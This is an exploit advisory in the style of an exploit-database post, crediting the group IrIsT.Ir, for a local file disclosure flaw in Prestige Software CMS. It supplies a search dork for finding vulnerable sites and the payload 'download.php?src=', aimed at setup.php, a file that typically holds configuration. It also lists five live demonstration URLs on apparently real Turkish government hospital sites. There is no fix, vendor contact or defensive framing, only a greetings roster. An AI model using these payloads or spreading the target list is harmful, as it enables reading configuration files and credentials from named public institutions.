########################################## # # # # Exploit Title : Prestige Software CMS Local File Disclosure # # Author : IrIsT.Ir # # Discovered By : Beni_Vanda # # Home : http://IrIsT.Ir/en/ # # Software Link : http://www.prestijsoftware.com/tr/ # # Security Risk : High # # Version : All Version # # Tested on : GNU/Linux (Ubuntu/BT/Fedora) - win7 # # Dork : intext:Bu site Prestij Software tarafından yapılmıştır # # ########################################## # # # Expl0iTs : # # http://target/path/download.php?src=[LFD] # # Config Path : # # http://target/path/download.php?src=setup.php # # D3mo : # # http://www.yunakdh.gov.tr/download.php?src=download.php # http://www.lapsekidevlethastanesi.gov.tr/download.php?src=index.php # http://www.kirklarelikhb.gov.tr/download.php?src=setup.php # http://www.beysehirdh.gov.tr/download.php?src=setup.php # http://www.bkhb.gov.tr/download.php?src=setup.php # # # ###################################### # # # # Greats : Am!r - C0dex - B3HZ4D - TaK.FaNaR - Gabby- 0x0ptim0us - skote_vahshat # # E2MA3N - black_king - Mr.XHat - m3hdi - F@rid - Mr.XHat - Dj.TiniVini - (^_^) - sajjad11&13 # # smartprogrammer - Silent - Dr.Koderz - Z3r0 - Mr.Zer0 - Megatron - x3o-1337 - asesino04 # # ARTA , Sukhoi Su-37 - Godfather - Medrik && # # All Members In Www.IrIsT.Ir/forum # # # ###################################### # #